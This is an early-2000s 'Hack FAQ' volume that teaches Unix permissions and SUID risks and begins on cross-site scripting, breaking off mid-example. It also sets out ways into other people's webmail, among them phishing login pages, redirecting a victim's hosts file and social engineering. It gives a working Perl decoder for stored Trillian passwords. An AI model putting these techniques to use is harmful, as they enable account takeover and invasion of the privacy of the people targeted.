Hack FAQ Volume 9 by Wang
Frequently asked questions about hacking and computers

Whoa...volume 9 - how did things get this far? lol. I wrote volume 1 as a one off just to get the things that I knew off my chest - and now we are 9 volumes in...can't be a bad thing!

Ok, since the last volume I have been busy with real life and Mod-X (which has become really popular/busy now). I also decided to cover a certain topic this volume - hotmail and web based email. Lol, finally broke me down. 60% of the reports through the hack faq question form as to do with hacking hotmail or web based email related questions. Sad thing is, most people out there seem to think I have an instant password decrypter for them or something - which, as you will read, is not the case! Ah well, its covered now...so hopefully I can ignore people who ask those questions now :)

Anyhow, enough of my poor excuses :) - enjoy the volume and please keep requests topics to be covered. One thing though - when you use the request topic form on the site - please actually submit a topic to be covered! I get too many "Please tell me how to break into this" email messages. Ideally I want emails through like "Please could you do a topic covering this:"...as opposed to people just out for me to solve their personal problems :)

If you have any topics you want covering, please email me at wang@most-wanted.com and I will consider putting them into the next volume, or you can fill in my online question form on the site. If you have any other methods of solving the questions that I have answered, please send them to me and I will consider putting your solution in as well (with full credit to you obviously).

If you want to join our mailing list and be notified as soon as a new Hack FAQ is released, you can sign up by clicking here



Jump to a topic:

Hacking Web-based Email

Unix Ownership/Permissions explained

What are SUID Binaries and why are they dangerous?

Decrypting Trillian Passwords

What is Cross Site Scripting (css/xss) ?

Problems with user input in scripting languages using databases (SQL statements)

Emails




Hacking Web-based Email

Oh boy...I knew we would have to cover this at some stage :) - just having the words "hacking web-based email" on the site will bring the server loads more hits...why? because there is something about reading another persons email that fascinates hackers/husbands/wifes/boyfriends/girlfriends/students etc etc. I will also take this opportunity to state that the information here is intended for use by you, to judge the security of your own web-based email account - and hopefully fix any blatant mistakes you have made during signing up for web-based email. This is not intended to be used to break into accounts that you don't own.

What exactly is web-based email though? is it the email you get through Outlook Express or your preferred mail client? No. Web-based email is the name associated with sites like hotmail.com, mail.yahoo.com, another.com, email.excite.com etc etc. They are all sites which provide you with your own email address, and allow you to check your email and send emails by logging into their site and doing all your email tasks via your web browser. They are extremely popular with most internet users, simply because of their ease of use, and ease of access. When you use an actual email application from your pc (such as Outlook, Outlook express, Eudora, Netscape Mail etc) you are usually dealing with POP3 email (which is accessed by your mail application connecting to the pop3 daemon of a mail server, usually via port 110). POP3 email is not what we are dealing with today - we are merely interested in the web-based email services that you access via your web browser.

"How do I hack web-based email" must be the most frequently asked question by aspiring hackers - a lot of us have asked someone that very question in the past...and usually met with a bad response. Why is it so commonly asked? At a guess...it's because web-based email is, for a lot of people, the only thing they use the internet for. It's easy to use, quick to setup, and more importantly...most people you know also have accounts at some web-based service on the net. And that is the real reason...most people simply get a thrill out of the idea that they might be able to "spy" on people they know. Like the world's fascination with fly-on-the-wall television programs...reading someone's email is interesting, it's an invasion of privacy - and more importantly, you can see private exchanges of information between people. However, I am babbling on - you already know all this...which is why you want to know HOW it's done...not why.

It's likely that you are already aware of most hackers views of the question "how do I hack hotmail?" - and some of you may be mystified as to why they either flame you back (i.e. send abuse back to you), kick you from a chat room, or make fun of you. Why? you asked a perfectly good question right? - and yes, you did...it's just that it seems this subject scares a lot of people, because despite how good they think they are...they don't know the answer to your question. There is another reason though - the question is also ignorant. A lot of people who send me the question via the hack faq form on the site expect there to be a simple, almost magic (lol) method to get into web based email...they seem to almost expect a reply from me to say "oh yeah, just type this into that box and you will be into their account, no problem". This of course, could not be further from the truth.

The simple fact is - there is no magic way to get into everyone's web-based email. There is no secret technique, or super-program that breaks into all hotmail accounts - it's done on a case-by-case basis...and a lot of it is luck. The chances are, what I will cover today will not get you into your friends email account (I am quite glad that is the case!) - but on the other hand, it just might. There are 4 or 5 clear techniques that hackers use to eventually gain access to a targets email account. I will cover each one of them individually:

Technique 1 - Lost Password Requests

Wow, lost password requests! what a great idea! With so many users signing up, then forgetting their passwords the next day something needed to be implemented to ensure user's had a way of being given/remembering their lost passwords. There are a few different methods that various email services use to handle this type of situation:
Ok...now you know the most common forms of lost password systems - let's talk about why they are useful to a hacker trying to break into an account on a web-based email service. On visiting the web-based email site, a hacker would first look for a lost password link. Sometimes it's there, linked to straight away - and sometimes you need to submit one or more incorrect login attempts first, in order to be given the link. Firstly, the hacker will look at what kind of lost password technique is in use on the site (from the techniques explained above). Try it out...and see what it does when you tell them you have lost your password (remember that the majority of sites will log your IP address when you request a lost password, and maybe even send your IP to the real owner of the account via email or similar). If it sends it via email to a separate address (technique 1 explained above) - then does it tell you which email address it has been sent to? or does it just say "your password has been emailed to your address on record" ? If it tells you the email it has been sent to - this is bad for the real account owner...since the hacker then knows exactly which other email address of yours they need to break into (and remember it might be another email of yours they already have access to). If it's the hint question technique - see what the question is - you wouldn't believe how many I have looked at only to see the question "what is your favourite colour?" - that's terrible, guessable within about 3 attempts. If it's a more personal question, like the "when is your birthday?", or "what is your postcode?", or "what is your mother's maiden name?" then the hacker will undoubtedly try to social engineer the information out of you. Social engineering is another topic altogether - but just so you know, social engineering is when someone tries to trick another person into revealing the information they want. For example, to get the person's birth date I need to get into their web email - I might track them down on IRC and talk to them for ages, make friends etc....and someone along the lines, slip in the question asking when their birthday is. It is *unbelievable* how easy social engineering is sometimes, and there are zillions of techniques people use - ranging from the simple one I just described, to setting up false web sites etc to catch people's details...no joke. The other issue is, if it's a friend/colleague trying to get into your email - the chances are they already know a lot of your personal information - be careful.

In general, people say passwords are the weakest link in the security chain - but lost password techniques are often the key to gaining access.

Technique 2 - Social Engineering

As I stated above - social engineering is when someone tries to trick another person into revealing the information they want. The most common "hacker" social engineering is when someone talks to you about hobbies/pets/family etc...in the hope that by knowing your pets names etc, they might be able to get into your accounts (if you used your pets name as a password). You wouldn't believe how effective this is. There are varying levels of social engineering - but if can go as far people setting up fake websites and emailing you to tell you about a brilliant new web site you need to sign up to ;) - then when you do, they catch all your details they need etc. It can also end up with people phoning you, pretending to be from a company doing a survey. Social engineering is an old form of hacking, which hasn't dated (human stupidity keeps it alive) - and you can even see it in Hollywood films such as "Hackers", and "Takedown". Social engineering to just get a password is a bit hit and miss - because you don't really know what information you need to get out of the target. However, when combining social engineering with a lost password form that has a "hint question" - you know exactly what information you need to get out of the target person (you just have to hope they haven't lied when they answered their hint question!).

Technique 3 - Site flaws

Earlier, I said that there was no magic way to get into everyone's email. This isn't entirely true. From time to time (like with any site/server on the web) - flaws arise. When it comes down to it, the web-based email web site has to be hosted on a web server somewhere...which is likely to be either IIS 4/5 (the Windows NT/2000 web server) or Apache (mostly *nix, but also runs on a lot of Windows systems on the net). As a lot of you will know, IIS flaws aren't exactly rare ;) - and Apache has major scares every now and then too (some bad ones recently). When an exploit in the server appears on a popular security site in the form of an advisory, there will be a gap before the server running the web-based email is patched. Hotmail etc - will be patched almost instantly...giving you no chance. However - there are a lot of web-based email providers that are slacking...and leave themselves open to you to not only hack 1 account...but the whole server, and all accounts :( - awful really.

Aside from server flaws - there are the inevitable script flaws. Hotmail has had it's fair share of them, as have all web-based email providers. The problem is - providers like hotmail have learnt the hard way, they had lots of flaws (silly ones) early on, and are now...shockingly...pretty secure. If you want to look over the kinds of flaws that were present, trying searching some security sites for "hotmail javascript" or similar - you will see some details on an old hotmail flaw that meant a person's hotmail session could be hijacked if a malicious user sent the account an email with some malicious javascript code in. No system is ever 100% secure - and I promise you, hotmail (and all the other sites) will have more security flaws as bad as this in the future...it's just a case of how fast you can find out about it and use it to your advantage. Hotmail, for example, usually patch the flaw within hours :( - so this isn't exactly a concrete solution to breaking into accounts. Excite mail recently had a php session flaw to which could lead to account hijacking...it just shows that these flaws are still there waiting to be found.

Technique 4 - Trick Emails

This is pretty lame...but human stupidity sometimes leads it to work. A lot of attackers simply sign up for email addresses like "lost_password@hotmail.com" or "administrator@excite.com" etc - anything they can think of that makes them look like a member of staff from the site. They will then email you trying to trick you into giving them your password for some reason, or trick you into going to some site somewhere and giving out your password etc. Email providers shouldn't ever need to ask your for your password - bear that in mind.

Technique 5 - Software flaws

Knowing someone's password is only one way of getting into someone's account. When they log in, the site knows they are logged in by checking their cookie or session data (depending on how the login works since some sites will only store user info in cookies if select to do so, like with a "remember my password" checkbox or similar). So, if an attacker steals your cookies/session information - they can walk into your inbox. I doubt I need to tell you how many Internet Explorer flaws there are coming out every month (that's not to say that other browsers such as Netscape/Mozilla/Opera aren't having their fair share too...just not as many!). A lot of the flaws allow the attacker to execute code of his/her choice on your system, or steal information/data. So another option would be for an attacker to try and exploit the account owner in another way first. They might send you an email asking you to go to another web site - and then when you do, the page attempts the exploit on you. This is fairly common. I won't go into information gathering here - but someone with their own web site could also (to a certain extent) determine your IP address, what browser/OS/mail program you are using, just by getting you to go to their own site. They will then know what exploits to try on you, if your not clever and not patched. Cross site scripting (css/xss) is also a common cause of cookie's being stolen, and sessions being hijacked - but we have a whole topic dedicated to that this volume, so I won't explain it here. Therefore staying on top of security flaws in software you use is another way to avoid getting your email hacked (sign up for the weekly security newsletter at net-security.org). The point is, stealing cookie's/session data via software flaws is also a common way to get into web-based email.

Technique 6 - Trojans/Keyloggers

This technique is closely linked with the last technique, since a trojan/keylogging program would often be installed on you without you knowing, via an exploit in your browser/mail program etc. However, a lot of people are simply dumb and run all executable attachments from emails they receive ;( When someone has you trojan'd or a keylogger on your pc, they just have to wait until you send the relevant password data from your web-based email login to them.

Technique 7 - Fake web sites

I sometimes also see this referred to as "Password Harvesting". This technique involves you having your own web space somewhere - hopefully somewhere which isn't too obvious such as geocities or somewhere (this works best if you buy your own domain/hosting that looks authentic, for example email-login.com or something). You then copy the html for the login page of the email provider that your target uses (i.e. copy the hotmail.com login page to your hard drive for editing). Then, the attacker modifies the login page, so that it submits information to his own scripts on his site, before probably redirecting you to the real web-based email site. Got the idea yet? yes...you fool the account owner into logging into your "fake" login screen on your server, it logs his/her details, then sends him to the real site - where he probably logs in again thinking the login just failed the first time (but we know differently) - and that's it...the login will succeed for them the second time on the real site...and they are non the wiser. There are a few ways this can be made more authentic. Firstly, as I mentioned - the site with the fake login screen should be a believable URL (since this technique relies on you fooling the account owner into thinking it's ok to log into his email from your site). If you register a domain like email-login.com or something...it might work, for example. It can also be made more realistic with a few small touches - like for example, when they submit to the form on the "fake" site - you send them to the "wrong password" screen, on the real server...so it looks like an authentic bad login. It's also sometimes possible to actually make a real request to the real server with the information they entered on the fake site, so that the login succeeds on the real site! That's the best way, since they then have no clue as to what has happened.

This is an extremely dangerous technique, it relies on user stupidity and requires you to somehow fool them into logging in through your fake site...but it often works. User stupidity prevails ;)

Technique 8 - Hosts hack/trick

Firstly, what is the Windows host file?

"The short answer is that the Hosts file is like an address book. When you type an address like www.yahoo.com into your browser, the Hosts file is consulted to see if you have the IP address for that site. If you do, then your computer will use that IP and the site will open. If not, your computer will ask your ISP's (internet service provider) computer for the IP before it can access that site. Most of the time, you do not have addresses in your "address book," because you have not put any there. Therefore, most of the time your computer asks for the IP address from your ISP to find sites."

The hosts file is located in "c:\windows\hosts" for Windows 9x/ME systems, and in "c:\winnt\system32\drivers\etc\hosts" for Windows NT/2000/XP systems (if it doesn't exist you can create it, but it should exist) - open it in notepad. It's not uncommon for the file to be blank, but typically it may look something like:

127.0.0.1 localhost
212.38.191.83 www.mod-x.co.uk

So, as you can see the format is:

<IP> <Domain name>

Can you see where this one is going? ;) - this technique should be used in conjunction with the previous technique. This is the key to the problem of fooling someone into going to your "fake" site, instead of the real web-based email login. Let's say I set up my fake hotmail login page on my www.mod-x.co.uk server, who's IP is 212.38.191.83 - if there was an entry in my targets host file that read:

212.38.191.83 hotmail.com
212.38.191.83 www.hotmail.com

When they go to their web browser and type "www.hotmail.com" - they will be taken to my server instead of hotmail! and hence, to the fake login. This is considered quite a lame thing to do - but frankly, it's requires more skill and understanding than brute forcing. The problem you may have noticed is - you need to somehow get that entry into your target's host file...not an easy task :( - if you have physical access to their PC, then you can slip it in there when they aren't about...but otherwise, you would need to trick/exploit them to get that in there (you would probably need to work out how to remove it at a later date to, to avoid getting detected after it has served it's purpose). Another side note I should mention is - I believe a Windows machine needs a reboot before the hosts file's changes come into effect.

The good thing about this technique, is that *nix systems also use host files in the same way (except it's located at /etc/hosts). It has a slightly different format to a windows hosts file, but it's very similar. An example file would be
212.38.191.83		hotmail.com
212.38.191.83 www.hotmail.com

Please note, that is the IP, followed by 2 tabs (not spaces!) then the alias. There is actually more stuff you can put in the hosts file, like hostname and other aliases...but I won't go into that here, since we have all we need.

Technique 9 - Brute Forcing

Don't even bother with this one, just thought I would mention it. Brute forcing involves trying lots and lots of possible passwords on the web-based email login to try and get the correct password. Today, most half-decent sites will have some sort of IDS (intrusion detection system) to detect the brute force...and perhaps even auto-notify your ISP, or just simply ban you from the site. Apart from brute forcing being skill-less, probably taking ages, there is a high risk of being caught since lots of attempt/hits to a site really show up in server logs. A number of the programs out there that claim to be stealthy brute force applications really don't work that well either.

There really isn't a great deal more you can say on hacking web-based email - without going into detail specifically on one web-based email site, and it's authentication methods etc - or describing one exploit in detail. Hopefully, this has given you a general overview of how web-based email is hacked, and how to defend your own accounts (and made it clear that there isn't exactly a 100% guaranteed method of gaining access). Comments welcome ;)



Unix Ownership/Permissions explained

Ok, we really need to cover this in order to do a few other topics in the future, so best to get this out of the way - sorry for all those that already know all of what I am about to say! If you don't know, or have never used *nix style operating systems, and are purely a Windows, Mac, BeOS (or whatever!) user - then I would urge you to take the time to get a shell account on a *nix system somewhere (telnet to sdf.lonestar.org on port 23, they provide basic free shell accounts) and to play with the information I am giving you, rather than just disregarding it.

First, we will need to talk about basic unix system privileges. On *nix operating systems, such as Linux, FreeBSD, Solaris (just to name a few), access to files is controlled by the file mode setting of a file. The mode specifies who (user/owner, group, other) can have access to a file and what type of access (read, write, execute) to the file is allowed. The "User" is the owner of the file (and I will refer to the User as Owner from now on), the "Group" is a particular group of users that the file belongs to, and "Other" corresponds to everyone that is not the User or a member of the Group. For any given ownership relation, we need three bits to specify access permissions: the first to denote read (r) access, the second to denote write (w) access and the third to denote execute (x) access. Therefore, an easy way to denote the access that the Owner has to a file would be "rwx" (which means the Owner has Read, Write, and eXecute access to the particular file). So - how would we denote access if say, the Owner had read access, and execute access - but no write access? Simple, we use a dash to denote that they don't have write access as so "r-x". Simple!

Now, we have three ownership issues of a file to cover remember - 'owner' permissions, 'group' permissions and 'all' permissions - so we need a "rwx" triplet for each, resulting in nine bits. As an example - lets say that Owner, Group, and All (everyone) has access to Read, Write, and Execute a particular file - we denote this as:

rwxrwxrwx

Just to make this clearer...a breakdown of that would be:

OwnerGroupAll (Everyone)
ReadWriteExecuteReadWriteExecuteReadWriteExecute
rwxrwxrwx

Another example, lets say that the Owner has full access to a file - but Group and All can only read the file. How do we denote this? Like so:

OwnerGroupAll (Everyone)
ReadWriteExecuteReadWriteExecuteReadWriteExecute
rwxr--r--

So our end string is "rwxr--r--". Make sense? I hope so! if not, re-read now! Ok - so now, lets say you have your unix shell account open in a telnet window - or you are sitting there at a *nix terminal somewhere - how do you find out the permissions/ownership that a specific file or directory has? We use the "ls" command. For those that don't know, ls is basically the equivalent to you typing "dir" from a dos prompt...except ls has some nicer options. So, here is an example of me typing ls:

[wang@server mydirectory]# ls
myfile.php index.htm anotherdir

Ok...so that got me a listing of the files in the current directory I was in - but I don't see anything to tell me the permissions on each file/directory in there. To get this information, we have to use ls with an extra parameter "ls -l" - which tells it to show us a long listing, like so:

[wang@server mydirectory]# ls -l
total 6
-rw-r--r-- 1 wang wheel 872 Apr 25 16:26 myfile.php
-rw-r--r-- 1 wang wheel 680 Apr 25 16:26 index.htm
drwxr-xr-x 2 wang wheel 512 Apr 3 13:40 anotherdir

ah! thats more like it. Ok, immediately you will notice that it shows one file/directory per line - along with the permissions of that file/directory, it's owner's username, the group name, the size, the date/time, and the file/dir name. You will also notice something different about the permissions - two of them have a "-" in front of the normal permissions system I explained, and one has a "d" in front. This is easy - this is the way we tell what is a directory and what isn't - if it has a "d" in front of the permission listing, it's a directory - if it has a "-", it's a file of some kind. If you look at the first line, the listing for the file "myfile.php" - we can see it has permissions "rw-r--r--" - which as we have already determined means that the owner (who is listed as "wang" in that output) has read and write access, but group and all only have read access. "wheel" is the name of group which that file/directory belongs to. We also need to mention that permissions on a directory don't mean exactly the same thing as the permissions on files I explained. When dealing with permissions in relation to a directory, Read means you can view the directories contents (i.e. do an ls in it), Write means you can create/edit/delete files within the directory, and Execute determines whether a user can "cd" into a directory (i.e. move into it, just like cd in dos).

Now you know how permissions are represented for files/directories - and what they mean...but how do we set/alter them? and are there other ways of representing them? Well, yes.

Permissions/access is actually based on an integer number from zero to seven, the "rwxr--r--" representation is really just to make things easier. There is an integer for each set of people accessing the file (user, group, other). The type of access allowed for each number is determined by adding 1 for execute access, 2 for write access, and 4 for read access. Zero indicates no privileges. Therefore, the allowed values are:

NumberPermission
0No Access
1Execute Only
2Write Only
3Execute and Write
4Read Only
5Execute and Read
6Read and Write
7Read, Write, and Execute


If you are feeling lost and confused, bear with me...the purpose of these numbers will become clearer. You are probably thinking - why tell me these numbers? - well it's just useful to know, and I prefer changing file/directory permissions using numbers ;) - sorry! So, what is the command to actually change permissions? - the answer is "chmod".

First, lets talk about using chmod with the numbers in the table above that I gave. The format to use chmod would be:

chmod <number> <file or dir>

So, a good example would be "chmod 755 blah.pl". Why three digits? well, we are back at the Owner, Group, All permission thing again. Every one of the three digits on the mode number corresponds to one of the three permission triplets. Every permission bit in a triplet corresponds to a value - which, despite my complex looking table, can be easily remembered as: 0 for nothing (dash), 4 for r, 2 for w, 1 for x.

Lets work an example out, lets say we have the permission "rwxr-xr-x" on some file...what chmod string was used to give that file those permissions? Simple:

Triplet for user: rwx => 4 + 2 + 1 = 7
Triplet for group: r-x => 4 + 0 + 1 = 5
Tripler for all: r-x => 4 + 0 + 1 = 5
Which makes : 755

It's not as hard as it looks, and it's not as hard to remember as you might think...it actually becomes second nature. There is, however, an easier way if this really does scare you. chmod can also be used in the format "chmod [options] mode file(s)". The 'mode' part specifies the new permissions for the file(s) that follow as arguments. A mode specifies which user's permissions should be changed, and afterwards which access types should be changed. Let's say for example:

chmod a-x socktest.pl

This means that the execute bit should be cleared (-) for all users. (owner, group and all) The permissions start with a letter specifying what users should be affected by the change, this might be any of the following: This is followed by a change instruction which consists of a +(set bit) or -(clear bit) and the letter corresponding to the bit that should be changed. So, hopefully now you can see where "chmod a-x socktest.pl" came from. We could also have said "chmod g-x socktest.pl" to only remove the group execute permission, or we could have said "chmod o+r socktest.pl" to give all/everyone else read access to this file. If you really want to read up more on chmod, please type "man chmod" from a shell prompt to see the manual on it. As a final example, I will show an example of me using chmod on a file "test.txt":

We start with the file test.txt, which the owner "wang" has read/write access to, and group/all only have read access to:

[wang@server ~/test]# ls -l
total 2
-rw-r--r-- 1 wang wang 5 Aug 7 19:43 test.txt

I then decided to give my group write access to test.txt, so I used chmod like so:

[wang@server ~/test]# chmod 664 test.txt
[wang@server ~/test]# ls -l
total 2
-rw-rw-r-- 1 wang wang 5 Aug 7 19:43 test.txt

Then, I gave all/everyone write access too (feeling generous!):

[wang@server ~/test]# chmod o+w test.txt
[wang@server ~/test]# ls -l
total 2
-rw-rw-rw- 1 wang wang 5 Aug 7 19:43 test.txt

Then, I take write access away from the group:

[wang@server ~/test]# chmod g-w test.txt
[wang@server ~/test]# ls -l
total 2
-rw-r--rw- 1 wang wang 5 Aug 7 19:43 test.txt

And then I decide to remove all access from group/all to leave only the owner with access to the file:

[wang@server ~/test]# chmod 600 test.txt
[wang@server ~/test]# ls -l
total 2
-rw------- 1 wang wang 5 Aug 7 19:43 test.txt





What are SUID Binaries and why are they dangerous?

This was a requested topic via the Hack Faq form, but is also quite a frequently asked question on the boards I see, hence I though we should cover it. If you haven't read the previous topic on Unix ownership/permissions - I suggest you do so now.

Let's first establish what SUID is - SUID is short for Set User ID. As we explained in the previous topic, commands/files you execute always run with your privileges on the system - makes sense for security purposes, right? wrong - this is where SUID comes in. SUID files can be run with the privileges of the person who SUID'd them. When you run a program with the suid bit set, the program is run as the owner of the program rather than as you, the person running it. This means that when it is running the program has access to all of it's owners files and privileges. Does this sound dangerous to you? should do...because it is - but it's sometimes necessary. Let's take an example now, say the unix "passwd" command (which you can use to change your password for logging into the system). This is a typical use of the passwd program:

$ passwd
Changing password for wang
(current) UNIX password:
New UNIX password:
Password changed

Have you ever sat back and thought "what does it actually have to do to change my password?" - well, The passwd program has to be able to update the /etc/passwd and /etc/shadow files (or equivalent, depending on what *nix you are using), which are owned by root - so therefore, a typical binary not owner by root wouldn't be able to do it...and passwd must run as root to do this. So the dilemma is set - the program must be owner by root and modify files that only root should be able to modify - but allow you to run it as standard user. So, how does passwd achieve this? it is SUID - as the ls -l shows:

-rwsr-xr-x 1 root root 27K Jul 8 17:01 passwd

Notice the "s" in the privileges - that's how you identify the SUID binary. Therefore, passwd works because it's owner is root and it has the suid bit set - so we run passwd as our user, but the system automatically makes it run as root. This is all well and good, and you can no doubt see why SUID binaries are useful...however, there should also be alarm bells ringing in your heads. What if...the program was exploitable somehow - what if you could make the program execute any command you wish? if you could...it would execute any command you wish, not at your privilege level -but at the SUID level. Therefore, SUID-root programs are the largest security threat...since you can't get any better than being able to execute any command you wish as root!

SUID programs are so dangerous are also very dangerous because interaction with the untrusted user begins before the program is even started. There are many ways to confuse the program, using things like environment variables, signals, or anything you want. Exactly this 'confusion' of a program is a cause of frequent buffer overflows (which we will cover). More than 50 % of all major security bugs leading to releases of security advisors are accounted to SUID programs. And some distributions of *nix are shipped with hundreds of these suid programs, most of which you'll probably never use. Of course there are few which are necessary, in order that normal user might perform operations which are normally done by root (like the passwd example). So, we have another dilemma - we don't want to have risky SUID programs on our system....but we can't delete them all. Doh.

First things first...is there a quick way to find all the SUID binaries on my system? Yes - execute the following command from a shell:

for i in `find / -perm +6000 -type f`; do ls -aFl $i >> suids; done

This is a really good way of finding them, since it will go through searching and create a file in your current directory called "suids" which has the ls -l output of the SUID binary for you to see. If the above command doesn't work, it may be because the above command relies on GNU find, and you might be on a *nix variation with a less-friendly find...therefore try:

'find / -type f \( -perm -4000 -o -perm -2000 \) -exec ls -l {} \;

If you ran the first command above, you can then just "cat suids" or read it in your favourite editor (pico suids, vi suids, vim suids, etc) to see the list of SUID binaries found. If you ran the second find string...you should see the list appear in the shell as it searches. You will see all the usual suspects there - all the SUID one's you need, such as passwd, su, mount etc - but unfortunately, since every distribution and unix system will be different, I can't tell you which ones you need and which ones you don't :( - it will be process of discovery for you. Here is just a small list of the really common "ok" expected SUID binaries (there may be a lot more on yours though, don't panic)

/usr/bin/crontab
/usr/bin/newgrp
/usr/bin/passwd
/usr/local/bin/ssh
/usr/local/bin/screen-3.7.2
/usr/X11R6/bin/xload
/usr/X11R6/bin/xterm
/usr/X11R6/bin/XF86_Mach32
/var/qmail/bin/qmail-queue
/bin/su

The best way of doing it, is to log all the SUID binaries you have when you first put your system live...and then monitor the system to see if any odd SUID binaries are added at a later date. Bear in mind that a strange SUID binary appearing, could be the sign of a hacker backdooring an account. Just in case you do need to remove the SUID bit on something - it can be achieved by executing the chmod command like so:

chmod -s

We briefly mentioned earlier that buffer overflows are tied to SUID binaries being dangerous. This is because our worst fear, being able to make a SUID-root binary (or similar) execute any command of your choice, can come true if a buffer overflow exploit exists in the SUID program. I planned to include a topic on Buffer Overflows as the next topic in this faq volume, but I realised that there are so many excellent texts on it already, that I would only be rehashing what other people have said. I am therefore providing links to two excellent texts that deal with the subject, which I hope you will read. If there is a large demand for me to cover the topic..I will try and include it next time, but I really think the texts linked to below will help you understand the subject well enough.

For further reading, check:



Decrypting Trillian Passwords

AS you may remember, in past hack faq's we went through the ICQ password storage technique, and how to decrypt ICQ .dat files in order to get the cleartext passwords from them. Trillian is fast becoming one of the most-popular instant messaging programs around. It is described as:

"Communicate with Flexibility and Style. Trillian is everything you need for instant messaging. Connect to ICQ®, AOL Instant Messenger(SM), MSN Messenger, Yahoo! Messenger and IRC in a single, sleek and slim interface."

That's right, trillian is an all-in-one program which allows you to be on ICQ, AIM (the AOL instant messenger), MSN, Yahoo, and even IRC, all at once from one program. In itself, trillian is a good program, with some nice features - but it suffers from an awful password storage system. Although not compulsory, trillian saves your password to connect to all the networks (ICQ, AOL, MSN etc) - and most people, out of convenience, will want their passwords stored. The problem is that trillian stores them with only a very weak encryption.

The trillian passwords are stored separately in .ini files (which relate to each network, i.e. there is a msn.ini, and a aim.ini etc). These are stored in your trillian directory (usually c:\program files\trillian\) in the "users" folder. Within the users folder, the ini files will either be in a folder called "default" or a folder named after your username. For example, on my installation for testing purposes, the msn.ini was stored at:

c:\program files\trillian\users\default\msn.ini

On opening this file...you find details like:

[msn]
auto reconnect=1
save passwords=1
idle time=15
show buddy status=1
port=1863
server=messenger.hotmail.com
last msn=someone@hotmail.com
connect num=10
connect sec=60
save status=1
ft port=6891
[profile 0]
name=someone@hotmail.com
password=A347F2B74EE9A9F6

and so on...

The line "password=A347F2B74EE9A9F6" is obviously the encrypted password that we want to decrypt. Now, the encryption used here is a simple xor encryption of the original password, which is then represented as hex. If we split the password into the actual hex representation, it might make more sense:

A3 47 F2 B7 4E E9 A9 F6

Ok, when beating an xor encryption...you need to know what each letter of the original password was xor'd with. Thankfully, there is an easy way to find this out - so long as you know the original pass. And, as you may guess - knowing the xor key that trillian uses to encrypt passwords, is also the key to being able to decrypt passwords that we don't know!

First, we need to know what the hex value "A3" (the first value of the encrypted password) represents in standard numbers. If you know your hex, you will know that the value of "A3" is 163. I know for a fact that the first letter of my password is "P", therefore - to find out what trillian xor'd with my original "P" in order to get 163 - we do the following calculation:

Numeric value of A3 = 163
Numeric (ascii) value of P = 80

Calculation: 80 XOR 163 = 243

There we go - 243 is the number that the first value of your password is xor'd with. We can test this by doing the process in reverse using this knowledge:

First letter of password = P
Ascii value of P = 80
XOR key for 1st char = 243
Calculation = 80 xor 243 = 163
163 in Hex = A3
Encrypted password so far: A3
Go on to 2nd character...and so on...

Hopefully, you can now see how trivial it is to get the rest of the xor key numbers and how to decrypt the passwords once you have the xor key. Let me save you some time...the xor key numbers for each char are (in order):

243, 038, 129, 196, 057, 134, 219, 146, 113, 163, 185, 230, 083, 122, 149, 124, 000, 000, 000, 000, 000, 000, 255, 000, 000, 128, 000, 000, 000, 128, 128, 000, 255, 000, 000, 000, 128, 000, 128, 000, 128, 128, 000, 000, 000, 128, 255, 000, 128, 000, 255, 000, 128, 128, 128, 000, 085, 110, 097, 098, 108, 101, 032, 116, 111, 032, 114, 101, 115, 111, 108, 118, 101, 032, 072, 084, 084, 080, 032, 112, 114, 111, 120, 000

As most passwords are usually 5-10 letters/numbers long, you will rarely need to use even a quarter of those xor keys. And just to help clarify...here is a perl script I have written which will decrypt an encrypted trillian password:

#!/usr/bin/perl

#################
# Trillian Password Decoder - Wang (wang@most-wanted.com)
# written for hack faq Volume 9 (faqs.wangproducts.net)
#################

# Uncomment if you are running as a cgi
#print "Content-type: text/html\n\n";

$encrypted = "A347F2B74EE9A9F6";  # put your encrypted password here!
$xorkeys = "243, 038, 129, 196, 057, 134, 219, 146, 113, 163, 185, 230, 083, 122, 149, 124, 000, 000, 000, 000, 000, 000, 255, 000, 000, 128, 000, 000, 000, 128, 128, 000, 255, 000, 000, 000, 128, 000, 128, 000, 128, 128, 000, 000, 000, 128, 255, 000, 128, 000, 255, 000, 128, 128, 128, 000, 085, 110, 097, 098, 108, 101, 032, 116, 111, 032, 114, 101, 115, 111, 108, 118, 101, 032, 072, 084, 084, 080, 032, 112, 114, 111, 120, 000";
$pointer = 0;

@keys = split(/, /, $xorkeys);

print "Decrypted Password: ";

foreach $key (@keys)
{
        $passchar = chr(hex(substr($encrypted, $pointer, 2)) ^ $key);
        print "$passchar";
        last if ($pointer == length($encrypted) - 2);
        $pointer += 2;
}

exit;



What is Cross Site Scripting (css/xss) ?

Ok, firstly - cross site scripting is commonly referred to as xss or css - but please do not get it mixed up with the cascading style sheets (used in web pages, and also referred to by the abbreviation css). I am covering this topic, because although a lot of people have heard of it, usually from the term being mentioned in security/vulnerability advisories, there is definitely a lack of understanding when it comes to what it actually is, and why it occurs. This was a requested topic via the Hack Faq form and I decided that it would be worth covering due to it being a major cause of security vulnerabilities at the moment.

Cross site scripting, in a way, took a lot of major sites (Ebay, Google, all sites running phpnuke) and software developers by surprise when it emerged as a common flaw...and there are millions cross site scripting flaws still out there, and many new one's being created every day! To understand what cross site scripting (xss) is, we need to look at what makes it possible. xss affects two things:

  • Web browsers (such as Internet Explorer, Netscape, Mozilla, Opera)
  • Web servers that dynamically generate pages based on unvalidated input (most web servers)
Most web browsers have the capability to interpret scripts embedded in web pages downloaded from a web server. By this, we mean languages such as javascript (and also Java, VBScript, ActiveX, Flash, etc) which can be embedded in a standard html page, for example:

<html>
<head><title>My page</title></head>
<script>
alert("hello");
</script>
<body>
Welcome to my page on the web.
</body>
</html>

The javascript code embedded in the <script> tag's is not run by the web server, it is run by your web browser when you access the page. Most browsers are installed with the capability to run these scripts, and most of them have the feature enabled by default (and let's face it, it's fairly rare for someone to turn it off and risk losing some functionality on web pages they access). Filtering javascript and unwanted html from user input is not a new thing - message forums/boards have been doing it for ages. If you post on a message board, it's likely the admin doesn't want you posting your own javascript into your messages, especially if it's malicious code that redirects anyone who views the message to another site or something. Message forum scripts have become wise to the possibility that you could be trying to embed unwanted code into your messages - and most filter it out. How do they do this? Well, in the case where you are posting to the site - the server has the chance to mediate your input and therefore can alter it to be "safe" before storing it in a database or file for safe viewing by other users. This is known as protecting data send by a client, for a client. However, there is another possibility - that has been overlooked - the possibility that a client may send malicious data intended to be used only by itself...i.e. data send by the client, for itself.

Ok, you are probably thinking "what? - why would a user enter malicious code that only they will see?". This is a common mistake - and a dangerous one, which gives birth to xss. When might this situation occur? well, for example...say someone sends you a link in an email like:

